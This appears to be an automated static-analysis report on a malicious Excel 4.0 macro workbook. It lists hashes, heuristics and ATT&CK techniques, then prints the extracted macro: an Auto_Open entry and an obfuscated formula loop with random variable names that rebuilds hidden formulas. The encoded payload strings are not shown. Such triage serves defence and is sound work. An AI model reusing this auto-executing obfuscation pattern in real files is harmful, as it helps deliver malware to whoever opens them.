Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8295921e9187bffe…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:39:28 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 85d2d3537f12e87a36c94d03a4751b0d SHA-1: 2350dce39382c82b0e6895fae5f5d4c493798215 SHA-256: 8295921e9187bffe5d484441979f1c3d900e78b86b9fd239ea98d7db302bf183
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that contains an Auto_Open defined name, indicating it will execute automatically when the workbook is opened. The presence of dangerous formula APIs, specifically the RUN function, suggests the macro is designed to execute arbitrary code. This is a common technique for downloading and executing further malicious payloads.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6707 bytes
SHA-256: 99a1bc1c3eeee0c840945d3e529101fcfd735736af55560251a68f5edd673abb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
21 of 41 identifiers look randomly generated (e.g. 'wLsiWBwMMZMa') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FHCgWFRJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E160 
' 0018     24 LABEL : Cell Value, String Constant - COnDZuuFj len=0 
' 0018     26 LABEL : Cell Value, String Constant - cpuFTEMPSlB len=0 
' 0018     27 LABEL : Cell Value, String Constant - fEYvtGuMnECS len=0 
' 0018     24 LABEL : Cell Value, String Constant - gihNaUSkx len=0 
' 0018     24 LABEL : Cell Value, String Constant - goVerDLJR len=0 
' 0018     21 LABEL : Cell Value, String Constant - hKKbLv len=0 
' 0018     23 LABEL : Cell Value, String Constant - liHMjbHE len=0 
' 0018     25 LABEL : Cell Value, String Constant - LnPufyHPPN len=0 
' 0018     27 LABEL : Cell Value, String Constant - NkQkWAnACzQR len=0 
' 0018     22 LABEL : Cell Value, String Constant - ogtbXzg len=0 
' 0018     22 LABEL : Cell Value, String Constant - rVxIFTZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ssdHhAoasu len=0 
' 0018     23 LABEL : Cell Value, String Constant - TCmTsmHM len=0 
' 0018     22 LABEL : Cell Value, String Constant - tZaLtZL len=0 
' 0018     27 LABEL : Cell Value, String Constant - uNgsDhmRGQnP len=0 
' 0018     22 LABEL : Cell Value, String Constant - VqqBLtz len=0 
' 0018     25 LABEL : Cell Value, String Constant - VtJXcspZES len=0 
' 0018     22 LABEL : Cell Value, String Constant - WGVSIzb len=0 
' 0018     27 LABEL : Cell Value, String Constant - wLsiWBwMMZMa len=0 
' 0018     27 LABEL : Cell Value, String Constant - zWEEZPKdHKXL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FHCgWFRJ,E77,"SET.NAME("ssdHhAoasu",VALUE("0"))",""
'  FHCgWFRJ,E79,"SET.NAME("zWEEZPKdHKXL",ssdHhAoasu)",""
'  FHCgWFRJ,E81,"SET.NAME("goVerDLJR",ssdHhAoasu)",""
'  FHCgWFRJ,E85,"SET.NAME("wLsiWBwMMZMa",COUNTA(rVxIFTZ))",""
'  FHCgWFRJ,E87,"SET.NAME("uNgsDhmRGQnP",COUNTA(VqqBLtz))",""
'  FHCgWFRJ,E91,[],""
'  FHCgWFRJ,E94,"SET.NAME("NkQkWAnACzQR","")",""
'  FHCgWFRJ,E99,"zWEEZPKdHKXL",""
'  FHCgWFRJ,E102,"SET.NAME("liHMjbHE",HLOOKUP("*",rVxIFTZ,zWEEZPKdHKXL,FALSE))",""
'  FHCgWFRJ,E107,"gihNaUSkx",""
'  FHCgWFRJ,E110,"SET.NAME("hKKbLv",ssdHhAoasu)",""
'  FHCgWFRJ,E114,[],""
'  FHCgWFRJ,E117,"hKKbLv",""
'  FHCgWFRJ,E119,"ogtbXzg",""
'  FHCgWFRJ,E122,"TCmTsmHM",""
'  FHCgWFRJ,E124,"VtJXcspZES",""
'  FHCgWFRJ,E129,"SET.NAME("cpuFTEMPSlB",VALUE(HLOOKUP("*",VqqBLtz,VtJXcspZES,FALSE)))",""
'  FHCgWFRJ,E134,"tZaLtZL",""
'  FHCgWFRJ,E138,"NkQkWAnACzQR",""
'  FHCgWFRJ,E141,"goVerDLJR",""
'  FHCgWFRJ,E143,NEXT(),""
'  FHCgWFRJ,E146,"fEYvtGuMnECS",""
'  FHCgWFRJ,E148,"SET.NAME("f",INT(T(FORMULA(T(NkQkWAnACzQR)&"",""&T(fEYvtGuMnECS)))))",""
'  FHCgWFRJ,E150,"COnDZuuFj",""
'  FHCgWFRJ,E153,NEXT(),""
'  FHCgWFRJ,E155,RETURN(),""
'  FHCgWFRJ,E187,"SET.NAME("LnPufyHPPN",E77)",""
'  FHCgWFRJ,E191,"rVxIFTZ",""
'  FHCgWFRJ,E193,"SET.NAME("VqqBLtz",R65C11)",""
'  FHCgWFRJ,E198,"SET.NAME("COnDZuuFj",206)",""
'  FHCgWFRJ,E201,"SET.NAME("WGVSIzb",5)",""
'  FHCgWFRJ,E205,LnPufyHPPN(),""
'  FHCgWFRJ,E206,HALT(),""

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